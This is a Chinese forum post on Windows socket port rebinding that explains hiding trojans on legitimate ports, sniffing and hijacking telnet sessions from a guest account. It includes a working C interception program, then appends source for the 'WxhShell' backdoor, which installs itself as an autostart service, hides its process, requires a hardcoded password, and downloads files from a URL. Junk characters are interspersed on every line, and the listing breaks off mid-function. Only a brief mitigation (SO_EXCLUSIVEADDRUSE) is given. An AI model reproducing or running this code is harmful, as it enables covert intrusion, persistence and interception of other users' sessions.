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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )3 '8T>^<K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dh68=F0  
d-H03F@N  
  saddr.sin_family = AF_INET; ' 'p<C)Q  
aZq7(pen  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q{L-(!uz7_  
Y7')~C`up^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `"#hhKG  
~L_1&q^4!i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Vf$$e)  
E>u U6#v  
  这意味着什么?意味着可以进行如下的攻击: VMu?mqEa  
m mH xPd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K}Q:L(SSr\  
Fj`K$K?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M>{*PHze0  
4(`U]dNcs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %@HuAcNi  
7gRR/&ZK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S>s+ nqcP  
qv<^%7gq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A(n3<(O/{Z  
qsYg%Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DyUS^iz~o  
Q$Sp'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p?4,YV|#  
*y|zF6  
  #include A,?6|g`q'  
  #include {r#uD5NJ/  
  #include Q&w"!N  
  #include    l.BiE<&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ieh<|O,-C  
  int main() UsdMCJ&G  
  { 5eM{>qr}  
  WORD wVersionRequested; nL]eGC  
  DWORD ret; HNLr} Yj  
  WSADATA wsaData; ~1nKL0C6u  
  BOOL val; MieO1l  
  SOCKADDR_IN saddr; x-b}S1@  
  SOCKADDR_IN scaddr; @yF >=5z:  
  int err; -U|Z9sia  
  SOCKET s; 5+q dn|9%T  
  SOCKET sc; 1aPFpo!  
  int caddsize; AN)r(86L  
  HANDLE mt; u>*qDr* d  
  DWORD tid;   "1 UpoF'w  
  wVersionRequested = MAKEWORD( 2, 2 ); ~ ^fb`f+%  
  err = WSAStartup( wVersionRequested, &wsaData ); a>,Zp*V(  
  if ( err != 0 ) { VKSn \HT~  
  printf("error!WSAStartup failed!\n"); E *782>  
  return -1; .S]*A b  
  } vTC{  
  saddr.sin_family = AF_INET; 4,BJK`{  
   6;(b-Dhi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #JN4K>_4  
t~":'le`zr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8= g~+<A  
  saddr.sin_port = htons(23); l9 &L$,=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z tc\4  
  { lcVG<*gf-  
  printf("error!socket failed!\n"); $v5 >6+-n  
  return -1; }%D${.R]  
  } {Ia$!q)  
  val = TRUE; w zi7pJjXh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |+qsO ;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }[(v(1j='~  
  { _`,ZI{.J^  
  printf("error!setsockopt failed!\n"); apnpy\in  
  return -1; #8y"1I=i&  
  }  %\~U>3Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; . "7-f]!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _v++NyZXx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B[t>T>~  
#+$ PD`j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +x<OyjY5?]  
  { uG-S$n"7K  
  ret=GetLastError(); 3Zwhv+CP[  
  printf("error!bind failed!\n"); Q% ^_<u  
  return -1; r~ 2q`l'>  
  } MeAY\V%G=o  
  listen(s,2); }rF4M1+B\  
  while(1) TV`sqKW  
  { G"".;}AV  
  caddsize = sizeof(scaddr); Fl}!3k>c  
  //接受连接请求 i`?yi-R&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \[%_ :9eq  
  if(sc!=INVALID_SOCKET) RMdU1@  
  { j]aIJbi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9WV8ZP  
  if(mt==NULL) F)@zo/u5L  
  { *e:2iM)8~  
  printf("Thread Creat Failed!\n"); VKg9^%#b`[  
  break; FtlJ3fB@  
  } b;NVvc(  
  } LLbI}:  
  CloseHandle(mt); D}U gC\u  
  } mP?}h  
  closesocket(s); )}Cf6 m}  
  WSACleanup(); yw1Xxwc  
  return 0; '$5d6?BC`3  
  }   }g:'K  
  DWORD WINAPI ClientThread(LPVOID lpParam) XXeDOrb  
  { +]0hSpZ"p  
  SOCKET ss = (SOCKET)lpParam; U /xzl4m6  
  SOCKET sc; L@f&71  
  unsigned char buf[4096]; (!Xb8rV0_  
  SOCKADDR_IN saddr; VFm)!'=I  
  long num; H}(WL+7  
  DWORD val; Yu9VtC1  
  DWORD ret; XinKG< 3!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a>+m_]*JZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n#B}p*G  
  saddr.sin_family = AF_INET; w4zp%`?D'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LLMGs: [  
  saddr.sin_port = htons(23); 'R99m?"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6z'0fi|EN  
  { !)05,6WQ  
  printf("error!socket failed!\n"); C:f^&4 3  
  return -1; q ;_?e_  
  } ++ObsWZ  
  val = 100; @X=sfygk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u#Bj#y!  
  { 2#cw_Ua  
  ret = GetLastError(); B~,?Gbl+g  
  return -1; G;U SVF-'K  
  } [jEA|rd~}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qLw^Qxo  
  { &3)6WD?:U  
  ret = GetLastError(); k?/!`   
  return -1; RN;#H_ q  
  } z80*Ylx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eKU4"XTk  
  { Oi{J} 2U  
  printf("error!socket connect failed!\n"); uzLm TmM+  
  closesocket(sc); 9Vt6);cA-]  
  closesocket(ss); A;f)`i0l,  
  return -1; %CgmZTz~<  
  } n7zM;@{7  
  while(1) \Rha7O  
  { = \K/ulZo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (&, E}{p9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i.7$~}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z`D|O|#q  
  num = recv(ss,buf,4096,0); >)mF'w  
  if(num>0) {}=5uU2Tu  
  send(sc,buf,num,0); }g[Hi`  
  else if(num==0) <,H/7Ba  
  break; wzZ]| C(vp  
  num = recv(sc,buf,4096,0); YfNN&G4_  
  if(num>0) Iv{iJoe;UH  
  send(ss,buf,num,0); D7c+/H@PF  
  else if(num==0) n*G!=lMji  
  break; *$/Go8t4u  
  } ucbtPTFYvr  
  closesocket(ss); uwt29  
  closesocket(sc); tA9Ew{3s  
  return 0 ; ZvK3Su)f1  
  } E;"VI2F  
0/cgOP!^  
6vzvH  
========================================================== )ub!tm  
e$mVA}>Ybp  
下边附上一个代码,,WXhSHELL M R,A{X  
W!TT fj   
========================================================== CI+liH  
0\eSiXs  
#include "stdafx.h" 7dlMDHp\Y  
rERtOgi  
#include <stdio.h> )a+bH</'  
#include <string.h> 715J1~aRNr  
#include <windows.h> |@?='E?h  
#include <winsock2.h> ur]WNk8bN  
#include <winsvc.h> [T,Df&  
#include <urlmon.h> DYe w6B-  
9N|JI3*41  
#pragma comment (lib, "Ws2_32.lib") 9yLPh/!Ob  
#pragma comment (lib, "urlmon.lib") ?pA_/wwp  
B E#pHg  
#define MAX_USER   100 // 最大客户端连接数 ol_&epG;ST  
#define BUF_SOCK   200 // sock buffer 3;!a'[W&p  
#define KEY_BUFF   255 // 输入 buffer 'OMl9}M  
NCm=l  
#define REBOOT     0   // 重启 472'P  
#define SHUTDOWN   1   // 关机 Ra C6RH  
D^{jXNDNO  
#define DEF_PORT   5000 // 监听端口 U)z1RHP|z  
dO-Zj#%7z8  
#define REG_LEN     16   // 注册表键长度 dtXtZ!g2  
#define SVC_LEN     80   // NT服务名长度 [ .3Gb}B  
(8em5  
// 从dll定义API 8"u.GL.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F-$NoEL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 48!F!v,j)x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !'>#!S~h3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "{jVsih0  
d 5h x%M  
// wxhshell配置信息 &3*r-9BZ  
struct WSCFG { )F0Q2P1I  
  int ws_port;         // 监听端口 TdoH(( nY  
  char ws_passstr[REG_LEN]; // 口令 Fo]]j=  
  int ws_autoins;       // 安装标记, 1=yes 0=no i-x /h -  
  char ws_regname[REG_LEN]; // 注册表键名 YKx+z[A/p  
  char ws_svcname[REG_LEN]; // 服务名 \;"S>dg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aecvz0}@R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vTp,j-^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q"LT8nD\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qtP*O#1q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uYd_5 nw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !Z;Nv  
V{rQ@7SE  
}; kioIyV\=  
-BsZw. 7P  
// default Wxhshell configuration Mv7tK l  
struct WSCFG wscfg={DEF_PORT, HaOSFltf#  
    "xuhuanlingzhe", Qk^}  
    1, r&XxF >  
    "Wxhshell", zaE!=-U  
    "Wxhshell", *mN8Qd  
            "WxhShell Service", a$LoQ<f_  
    "Wrsky Windows CmdShell Service", AUl[h&s  
    "Please Input Your Password: ", Q2!RFtXV  
  1, c>C!vAg  
  "http://www.wrsky.com/wxhshell.exe", O@rZ ^Aa  
  "Wxhshell.exe" 9|9/8a6A  
    }; >DW%i\k1V~  
li~=85 J  
// 消息定义模块 H#bu3*'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F+V[`w*k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BkDq9>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CTc#*LJx>j  
char *msg_ws_ext="\n\rExit."; t1aKq)?  
char *msg_ws_end="\n\rQuit."; ay=f1<a  
char *msg_ws_boot="\n\rReboot..."; HA0yX?f]  
char *msg_ws_poff="\n\rShutdown..."; U,aMv[ZB  
char *msg_ws_down="\n\rSave to "; hllb\Y)XL  
NV`7VYU  
char *msg_ws_err="\n\rErr!"; +ZRm1q   
char *msg_ws_ok="\n\rOK!"; o:Tpd 0F  
McvLU+  
char ExeFile[MAX_PATH]; iyMoLZ5  
int nUser = 0; 4ug4[  
HANDLE handles[MAX_USER]; j!a&l  
int OsIsNt; dp:5iuS  
?gXdi<2Qn  
SERVICE_STATUS       serviceStatus; QRER[8]r$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K*"Fpx{M  
e4 cWi  
// 函数声明 0#F<JsO|u  
int Install(void); PS??wlp7  
int Uninstall(void); dwm>! h  
int DownloadFile(char *sURL, SOCKET wsh); ` h1>rP  
int Boot(int flag); =&vRT;6  
void HideProc(void); @Lm(bW  
int GetOsVer(void); {.UK{nA?sm  
int Wxhshell(SOCKET wsl); ;S+"z;$m  
void TalkWithClient(void *cs); FFf ~Vmw  
int CmdShell(SOCKET sock); v/3Vsd  
int StartFromService(void); zc>LwX}<  
int StartWxhshell(LPSTR lpCmdLine); E^m2:J]G  
(DTkK5/%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IPnx5#eB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N3Z6o.k  
"ScY'<  
// 数据结构和表定义 vn96o] n  
SERVICE_TABLE_ENTRY DispatchTable[] = E~,Wpl}  
{ <*$IZl6I  
{wscfg.ws_svcname, NTServiceMain}, &>hln<a>  
{NULL, NULL} )"^ )Nk  
}; Y-*]6:{E  
;3sJ7%`v  
// 自我安装 NW?h~2  
int Install(void) XN'<H(G  
{ Fi#b0S  
  char svExeFile[MAX_PATH]; 6x! q  
  HKEY key; "ODs.m oq  
  strcpy(svExeFile,ExeFile); &4Y@-;REt  
[b@9V_  
// 如果是win9x系统,修改注册表设为自启动 h/#s\>)T  
if(!OsIsNt) { HQ3kxOT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .BZ3>]F3<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PvS\  
  RegCloseKey(key); z)p p{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XO4rrAYvW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZRoOdo94  
  RegCloseKey(key); AW`+lE'?  
  return 0; 1;[ZkRbzL  
    } 4m/L5W:K  
  } J<7nOB}OD  
}  xXZ {  
else { I~7eu&QZ  
B_|jDH#RyJ  
// 如果是NT以上系统,安装为系统服务 x^6sjfAW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \jByJCN  
if (schSCManager!=0) dn= g!=  
{ 62J -)~_  
  SC_HANDLE schService = CreateService C)0JcM  
  ( U~{sJwB  
  schSCManager, ;S^7Q5-  
  wscfg.ws_svcname, pkEqd"G  
  wscfg.ws_svcdisp, &V7{J9  
  SERVICE_ALL_ACCESS, /9 soUt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;=?KQq f  
  SERVICE_AUTO_START, 4 O~zkg  
  SERVICE_ERROR_NORMAL, LXcH<)  
  svExeFile, ,W~a%8*  
  NULL, nHmi%R7k  
  NULL, m=%WA5c?  
  NULL, Ptv=Bwg  
  NULL, ;/.XAxkFL  
  NULL !l1ycQM  
  ); 9\W }p\c  
  if (schService!=0) %wS5m#n  
  { EX^j^#N  
  CloseServiceHandle(schService); \^rAH@  
  CloseServiceHandle(schSCManager); hKYA5]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JGKiVBN  
  strcat(svExeFile,wscfg.ws_svcname); rz3!0P!"K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )]C7+{ImC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?3:xR_VWZu  
  RegCloseKey(key); [1gWc`#  
  return 0; 7\1bq&a<  
    } R} aHo0r  
  } ,Q8)r0c  
  CloseServiceHandle(schSCManager); fu?Y'Qet  
} m\xE8D(,  
} J^ BC  
Jri"Toz0  
return 1; 6tg0=_c  
} 3xGk@ 333  
q!+m, !M  
// 自我卸载 rZv5>aEI  
int Uninstall(void) cA{zyq26  
{ 'X(G><R9  
  HKEY key; X(ZouyD<  
OTe0[p6v  
if(!OsIsNt) { []rg'9B2b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <UcbBcW,  
  RegDeleteValue(key,wscfg.ws_regname); _e3kO6X  
  RegCloseKey(key); o Z#4<7K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q>}*l|Ci  
  RegDeleteValue(key,wscfg.ws_regname); I`e |[k2  
  RegCloseKey(key); ]OKs 65  
  return 0; 5w+X   
  } LE:nmo  
} F7zBm53  
} REvY`   
else { qm1;^j&y  
p%v+\T2r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'rw nAr  
if (schSCManager!=0) H,H=y},  
{ wLf=a^c#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _n;V iQMu  
  if (schService!=0) *?Sp9PixP  
  { jI(}CT`g  
  if(DeleteService(schService)!=0) { EJrn4QOs  
  CloseServiceHandle(schService); J `8bh~7  
  CloseServiceHandle(schSCManager); vpGeG  
  return 0; LL1HDG >l  
  } 0oFRcU  
  CloseServiceHandle(schService); x !o>zT\  
  } vUXas*s4  
  CloseServiceHandle(schSCManager); cR+9^DzA  
} b^Xq(q>5  
} CYZx/r<  
?=;dNS@i@  
return 1; jJF(*D  
} Qr4c':8  
Gdd lB2L)x  
// 从指定url下载文件 W=$d|*$  
int DownloadFile(char *sURL, SOCKET wsh) tNI~<#+lg  
{ $(ugnnJ*  
  HRESULT hr; Jn_;  cN  
char seps[]= "/"; *hp3w  
char *token; \*0ow`|K  
char *file; PKhH0O\_U  
char myURL[MAX_PATH]; HV ^*_  
char myFILE[MAX_PATH]; +8 avA:o  
k%?fy  
strcpy(myURL,sURL); b{KpfbxcI  
  token=strtok(myURL,seps); \i-HECc"U  
  while(token!=NULL) (@H'7,  
  { i(XcNnn6  
    file=token; *LbRLwt  
  token=strtok(NULL,seps); Ih]'OaE   
  } 8uR4ZE*  
`eat7O  
GetCurrentDirectory(MAX_PATH,myFILE); bt/u^E  
strcat(myFILE, "\\"); }-:s9Lt  
strcat(myFILE, file); `)[bu  
  send(wsh,myFILE,strlen(myFILE),0); tU02t#8  
send(wsh,"...",3,0); !dVth)UV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IG1+_-H:  
  if(hr==S_OK) ! `yg bI.  
return 0; '{:WxGgi  
else :6 ?&L  
return 1; u~,@Zg87  
fCL5Et  
} x>^r%<WbX  
*OT6)]|k  
// 系统电源模块 YH( 54R  
int Boot(int flag) 9WaKsdf  
{ :66xrw  
  HANDLE hToken; LB|FVNW/S  
  TOKEN_PRIVILEGES tkp; &>I4-D[  
!YlyUHD  
  if(OsIsNt) { FfnW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lZ5 lmsCU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ` gIlS^Q  
    tkp.PrivilegeCount = 1; M~Yho".  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o:<g Jzg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,[rh7 _  
if(flag==REBOOT) { t'bzhPQO)f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H1H+TTZr  
  return 0; * _puW x  
} &}P{w  
else { D=U"L-rRs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^w eU\  
  return 0; @tvAI2W  
} ]g jhrD   
  } )vB,eZq  
  else { }| BnG"8  
if(flag==REBOOT) { xeqAFq=9?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^[{\ZX  
  return 0; m"P"iK/Av(  
} 5Uc!;Gd?b  
else { rULrGoM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kDM\IyM<\  
  return 0; v7+f@Z:N*  
} =FkU: q$  
} $*ujX,}xG  
zT[[WY4  
return 1; ^PY*INv  
} N`7) 88>w  
0p\cDrB ?  
// win9x进程隐藏模块 9S ~!!7oj  
void HideProc(void) Hn%n>Bnl  
{ 9IgozYj  
I4kN4*d!N,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tH0=ysf  
  if ( hKernel != NULL ) (^-i[aJY  
  { ^lCys  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?Xscc mN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #!d@;= [\  
    FreeLibrary(hKernel); #M;Cw}pW  
  } 0GW(?7ZC  
@GzEhv  
return; R=jIVw'  
} ">QNiR!  
yDBS : \  
// 获取操作系统版本 X p4x:N  
int GetOsVer(void) tL68 u[  
{ U$R+&@;  
  OSVERSIONINFO winfo; './j<2|;U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xy>~ 15  
  GetVersionEx(&winfo); Zvd^<SP<?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;0Yeo"-  
  return 1; 5I ,5da  
  else ]+O];*T  
  return 0; e;:~@cB,c  
} ", b}-B  
,/n<Qg"`  
// 客户端句柄模块 <X}@afS  
int Wxhshell(SOCKET wsl) N>?R,XM V  
{ lYkm1  
  SOCKET wsh; ;W6P$@'zs  
  struct sockaddr_in client; ?[>+'6  
  DWORD myID; Ay'2! K,I  
u(B0X=B  
  while(nUser<MAX_USER) V_JM@VN}Kk  
{ t0XM#9L  
  int nSize=sizeof(client); Xk[;MZ[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1<RB}M  
  if(wsh==INVALID_SOCKET) return 1; n5i#GvO^  
o:u *E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :Hdn&a i  
if(handles[nUser]==0) 2x-67_BHY=  
  closesocket(wsh); Wu]D pe  
else b&s"/Y89  
  nUser++; Vt-D8J\A 0  
  } kIS_ 6!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W)^0~[`i  
Gj]*_"T  
  return 0; ?9#}p  
} 1*aw~nY0  
 FVOR~z  
// 关闭 socket c?;~ Z  
void CloseIt(SOCKET wsh) [!E pv<G  
{ k 9 Xi|Yj  
closesocket(wsh); ml$"C  
nUser--; mF\r]ovVm  
ExitThread(0); ]9]cef=h#  
} eyK=F:GO  
3*9<JHu  
// 客户端请求句柄 :K{!@=o  
void TalkWithClient(void *cs) =ja(;uC  
{ tPh``o  
i;!#:JX  
  SOCKET wsh=(SOCKET)cs; }Z5#{Sd  
  char pwd[SVC_LEN]; D_fgxl  
  char cmd[KEY_BUFF]; q~9Y&>D  
char chr[1]; y'ULhDgq^B  
int i,j; DDh$n?2fd  
QEIu}e6b  
  while (nUser < MAX_USER) { ;C,D1_20Z  
{Muw4DV  
if(wscfg.ws_passstr) { ng $`<~=)\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SB R=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yD6lzuk{X  
  //ZeroMemory(pwd,KEY_BUFF); R(Y4nw+Y-  
      i=0; "|&xUWJ!)  
  while(i<SVC_LEN) { 8Qtd,  
>q0c!,Ay  
  // 设置超时 ;2X/)sxWz  
  fd_set FdRead; h^#K4/  
  struct timeval TimeOut; wmh[yYWc  
  FD_ZERO(&FdRead); :|i jCg+  
  FD_SET(wsh,&FdRead); umV5Y`  
  TimeOut.tv_sec=8; S EdNH.|I  
  TimeOut.tv_usec=0; bM`7>3 d7E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |,k,X}gP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?0HPd5=<v  
0KknsP7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W#1t%hT$  
  pwd=chr[0]; n~xh %r;  
  if(chr[0]==0xd || chr[0]==0xa) { dQ+{Dv3A  
  pwd=0; /L,VZ?CmtK  
  break; `* !t<?$i  
  } V<f76U)  
  i++; KCG-&p$v@s  
    } nJH+P!AC  
k[3J5 4`g1  
  // 如果是非法用户,关闭 socket f(Jz*el S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z?V'1L1gM  
} \yeo-uN8  
h?H:r <  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G  @ib  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J}IHQZS  
lqPzDdC^>  
while(1) { gKK*` L~  
)sg@HFhY'  
  ZeroMemory(cmd,KEY_BUFF); j_2-  
cY1d6P0  
      // 自动支持客户端 telnet标准   *3_@#Uu7  
  j=0; +/,J$(  
  while(j<KEY_BUFF) { nY7 ZK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kqJ \kd  
  cmd[j]=chr[0]; kae &,'@JF  
  if(chr[0]==0xa || chr[0]==0xd) { {MK.jw9/  
  cmd[j]=0; 4f+R}Ee7  
  break; G?\\k[#,&  
  } u*/.   
  j++; Ar@" K!TS  
    } 5[\mwUA  
6`$HBX%.K  
  // 下载文件 0&!,+  
  if(strstr(cmd,"http://")) { __Ei;%cV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -:w+`x?XaB  
  if(DownloadFile(cmd,wsh)) sYlA{Z"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN4d^0&  
  else 9\F:<Bf$#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *^cJn*QeL  
  } bnS"@^M  
  else { I@x^`^+l  
l_ /q/8-l  
    switch(cmd[0]) { go^?F- dZ  
  IyvJwrO  
  // 帮助 Na8%TT>  
  case '?': { [0v`E5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Ddo ^Gtx  
    break; 9z)p*+r UK  
  } R{zAs?j  
  // 安装 R~nbJx$  
  case 'i': { }F'B!8n  
    if(Install()) |FK ##8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u;$g1 3  
    else $6~ J#;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dD _(MbTt  
    break; </,RS5ukn  
    } + k1|+zzS  
  // 卸载 ,r<!30~f  
  case 'r': { 1p#O(o  
    if(Uninstall()) x| jBn}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tE"aNA#=  
    else X"yj sk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1an?/j,  
    break; s&-m!|P  
    } 7`,A]":;  
  // 显示 wxhshell 所在路径 7}+U;0,)  
  case 'p': { xE+Nz5F  
    char svExeFile[MAX_PATH]; 1t"  
    strcpy(svExeFile,"\n\r"); <[9{Lg*D  
      strcat(svExeFile,ExeFile); o' U::  
        send(wsh,svExeFile,strlen(svExeFile),0); JWHKa=-H  
    break; b65V*Vbj  
    } ZMs$C3  
  // 重启 $2l<X KT-  
  case 'b': { iQryX(z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hrsMAh!  
    if(Boot(REBOOT)) _&0_@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5$C4Ui{<E'  
    else { SF?Ublc!   
    closesocket(wsh); [d+f#\ut  
    ExitThread(0); NYS |fa  
    } g8<Ja(J  
    break; 2, bo  
    } 7s#,.(s  
  // 关机  WW5AD$P*  
  case 'd': { * !4r}h`  
